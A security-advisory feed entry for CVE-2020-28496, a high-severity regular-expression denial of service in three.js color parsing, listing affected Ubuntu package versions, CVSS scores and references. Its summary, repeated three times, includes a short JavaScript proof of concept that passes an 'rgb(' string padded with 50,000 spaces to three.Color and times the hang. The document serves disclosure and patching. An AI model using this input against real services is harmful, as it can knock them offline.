High
three.js — security advisory
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
- Products
- three.js
- Affected versions
- 111+dfsg1-1, 111+dfsg1-2, 111+dfsg1-3, 111+dfsg1-3build1, 111+dfsg1-4, 111+dfsg1-5, 73+dfsg-1, 80+dfsg2-1, 80+dfsg2-2
- Fixed versions
- Not specified
- CVEs
- CVE-2020-28496
- Confirmed fixed CVEs
- Not specified
- Updated in this feed
- 31 Oct 2026, 00:38 UTC · Revision 1
Source evidence
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
osv:UBUNTU-CVE-2020-28496
three.js
Fixed versions: Not specified
three.js
Fixed versions: Not specified
three.js
Fixed versions: Not specified
three.js
Fixed versions: Not specified
three.js
Fixed versions: Not specified
three.js
Fixed versions: Not specified
three.js
Fixed versions: Not specified
three.js
Fixed versions: Not specified
Complete source record
{
"id": "f0b11ec77730aa4f24cb4567840a6cbe698a40a85cf24eceb28ddd005b883622",
"url": "https://osv.dev/vulnerability/UBUNTU-CVE-2020-28496",
"method": "structured",
"payload": {
"kind": "advisory",
"title": "UBUNTU-CVE-2020-28496",
"summary": "This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i < n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")",
"evidence": "osv:UBUNTU-CVE-2020-28496",
"products": [
{
"name": {
"value": "three.js",
"evidence": "/affected/0/package/name"
},
"prerequisites": [],
"fixed_versions": [],
"affected_versions": [
{
"value": "73+dfsg-1",
"evidence": "/affected/0/versions"
}
]
},
{
"name": {
"value": "three.js",
"evidence": "/affected/1/package/name"
},
"prerequisites": [],
"fixed_versions": [],
"affected_versions": [
{
"value": "80+dfsg2-1",
"evidence": "/affected/1/versions"
}
]
},
{
"name": {
"value": "three.js",
"evidence": "/affected/2/package/name"
},
"prerequisites": [],
"fixed_versions": [],
"affected_versions": [
{
"value": "80+dfsg2-2",
"evidence": "/affected/2/versions"
},
{
"value": "111+dfsg1-1",
"evidence": "/affected/2/versions"
}
]
},
{
"name": {
"value": "three.js",
"evidence": "/affected/3/package/name"
},
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"fixed_versions": [],
"affected_versions": [
{
"value": "111+dfsg1-2",
"evidence": "/affected/3/versions"
}
]
},
{
"name": {
"value": "three.js",
"evidence": "/affected/4/package/name"
},
"prerequisites": [],
"fixed_versions": [],
"affected_versions": [
{
"value": "111+dfsg1-3",
"evidence": "/affected/4/versions"
}
]
},
{
"name": {
"value": "three.js",
"evidence": "/affected/5/package/name"
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"affected_versions": [
{
"value": "111+dfsg1-3",
"evidence": "/affected/5/versions"
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},
{
"name": {
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"evidence": "/affected/6/package/name"
},
"prerequisites": [],
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"affected_versions": [
{
"value": "111+dfsg1-5",
"evidence": "/affected/6/versions"
}
]
},
{
"name": {
"value": "three.js",
"evidence": "/affected/7/package/name"
},
"prerequisites": [],
"fixed_versions": [],
"affected_versions": [
{
"value": "111+dfsg1-3",
"evidence": "/affected/7/versions"
},
{
"value": "111+dfsg1-3build1",
"evidence": "/affected/7/versions"
},
{
"value": "111+dfsg1-4",
"evidence": "/affected/7/versions"
},
{
"value": "111+dfsg1-5",
"evidence": "/affected/7/versions"
}
]
}
],
"severity": "high",
"structured": {
"id": "UBUNTU-CVE-2020-28496",
"aliases": [
"UBUNTU-CVE-2020-28496"
],
"metrics": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
},
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
},
{
"type": "Ubuntu",
"score": "medium"
}
],
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
}
]
}
],
"package": {
"name": "three.js",
"purl": "pkg:deb/ubuntu/three.js?arch=source&distro=xenial",
"ecosystem": "Ubuntu:16.04:LTS"
},
"versions": [
"73+dfsg-1"
],
"database_specific": {
"source": "https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"
},
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libjs-three",
"binary_version": "73+dfsg-1"
}
]
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
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"introduced": "0"
}
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],
"package": {
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"purl": "pkg:deb/ubuntu/three.js?arch=source&distro=bionic",
"ecosystem": "Ubuntu:18.04:LTS"
},
"versions": [
"80+dfsg2-1"
],
"database_specific": {
"source": "https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"
},
"ecosystem_specific": {
"binaries": [
{
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"binary_version": "80+dfsg2-1"
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}
},
{
"ranges": [
{
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"events": [
{
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}
],
"package": {
"name": "three.js",
"purl": "pkg:deb/ubuntu/three.js?arch=source&distro=focal",
"ecosystem": "Ubuntu:20.04:LTS"
},
"versions": [
"80+dfsg2-2",
"111+dfsg1-1"
],
"database_specific": {
"source": "https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"
},
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libjs-three",
"binary_version": "111+dfsg1-1"
}
]
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
}
]
}
],
"package": {
"name": "three.js",
"purl": "pkg:deb/ubuntu/three.js?arch=source&distro=jammy",
"ecosystem": "Ubuntu:22.04:LTS"
},
"versions": [
"111+dfsg1-2"
],
"database_specific": {
"source": "https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"
},
"ecosystem_specific": {
"binaries": [
{
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{
"ranges": [
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"package": {
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"ecosystem": "Ubuntu:24.04:LTS"
},
"versions": [
"111+dfsg1-3"
],
"database_specific": {
"source": "https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"
},
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libjs-three",
"binary_version": "111+dfsg1-3"
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},
{
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"package": {
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"ecosystem": "Ubuntu:25.10"
},
"versions": [
"111+dfsg1-3"
],
"database_specific": {
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"ecosystem_specific": {
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{
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"ecosystem": "Ubuntu:26.10"
},
"versions": [
"111+dfsg1-5"
],
"database_specific": {
"source": "https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"
},
"ecosystem_specific": {
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},
{
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"package": {
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"purl": "pkg:deb/ubuntu/three.js?arch=source&distro=resolute",
"ecosystem": "Ubuntu:26.04:LTS"
},
"versions": [
"111+dfsg1-3",
"111+dfsg1-3build1",
"111+dfsg1-4",
"111+dfsg1-5"
],
"database_specific": {
"source": "https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"
},
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libjs-three",
"binary_version": "111+dfsg1-5"
}
]
}
}
],
"modified": "2026-10-17T12:55:53.477175636Z",
"provider": "osv",
"upstream": [
"CVE-2020-28496"
],
"references": [
"https://ubuntu.com/security/CVE-2020-28496",
"https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e",
"https://github.com/mrdoob/three.js/issues/21132",
"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972",
"https://snyk.io/vuln/SNYK-JS-THREE-1064931",
"https://www.cve.org/CVERecord?id=CVE-2020-28496"
]
},
"related_cves": [
{
"value": "CVE-2020-28496",
"evidence": "/upstream"
}
],
"security_relevant": true,
"severity_evidence": "/severity/0/score"
},
"source_id": "core-osv",
"document_id": 354236,
"published_at": "2021-02-18T15:15:00+00:00"
}